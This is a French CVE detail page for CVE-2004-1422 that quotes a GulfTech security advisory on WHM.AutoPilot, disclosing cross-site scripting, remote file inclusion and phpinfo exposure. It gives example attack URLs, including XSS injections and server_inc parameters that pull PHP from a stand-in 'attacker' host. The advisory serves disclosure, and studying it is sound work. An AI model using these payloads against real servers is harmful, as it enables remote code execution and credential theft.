CVE-2004-1422 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

WHM.AutoPilot Multiple Vulnerabilities Vendor: Benchmark Designs, LLC Product: WHM.AutoPilot Version: <= 2.4.6.5 Website: http://www.whmautopilot.com/ BID: 12119 CVE: CVE-2004-1420 CVE-2004-1421 CVE-2004-1422 OSVDB: 12693 12694 12695 12696 12697 SECUNIA: 13673 PACKETSTORM: 35559 Description: Started by a webhost looking for more out of a simple managment script, Brandee Diggs (Owner of Spinn A Web Cafe, Founder of Benchmark Designs) setout to build an internal management system that could handle the day to day operations of a normal hosting company. The key was to remove the need to constantly watch your orders and manage the installs. Alas, WHM AutoPilot was born. [ as quoted from their official website ] Cross Site Scripting: There are a significant number of cross site scripting issues in WHM AutoPilot. Most of these are caused by calling scripts directly and specifying certain variable values yourself. Below are a few examples, though there are many more XSS holes than just the examples I am showing below. http://path/inc/header.php?site_title=%3C/title%3E%3Ciframe%3E http://path/admin/themes/blue/header.php?http_images='%3E%3Ciframe%3E I believe that every file in the /themes/blue/ directory can be manipulated in this way, and of course this can be used to steal a users credentials or render hostile code. File Include Vulnerability: WHM AutoPilot is susceptible to several potentially very dangerous file include vulns. Below are several examples of how files can be included and possibly executed remotely. http://path/inc/header.php/step_one.php?server_inc=http://attacker/step_one_tables.php http://path/inc/step_one_tables.php?server_inc=http://attacker/js_functions.php http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php This can be used to include php scripts and possibly take control of the webserver and more. A user does not have to be logged in to exploit this vulnerability either so that just makes it even more dangerous. Now for something weird: See the first example I gave above? Notice the "header.php/step_one.php"? Well, that was done to get around a piece of code that looked something like this. I am not going to include the actual code since this is proprietary software, but this should definitely give you the idea of what happened. if (ereg("test.php", $PHP_SELF)==true) { include $server_inc."/step_one_tables.php"; } This works because $PHP_SELF will return the value of "header.php/step_ one.php" expectedly. The below excerpt was taken from the php manual. "PHP_SELF The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar would be /test.php/foo.bar. The __FILE__ constant contains the full path and filename of the current (i.e. included) file." I see a lot of developers use this variable without giving much though to how it can be taken advantage of. I have even found it can cause be used to conduct cross site scripting attacks when the phpinfo() function is called. Information Disclosure: By default WHM AutoPilot is shipped with a phpinfo() script that is accessible to anyone. As far as I know WHM AutoPilot needs register globals to work, but if you want to check php settings anyway the file can be found in the root directory as "phpinfo.php" Solution: I have contacted the developers, and a new version of WHM Autopilot is available. Credits: James Bercegay of the GulfTech Security Research Team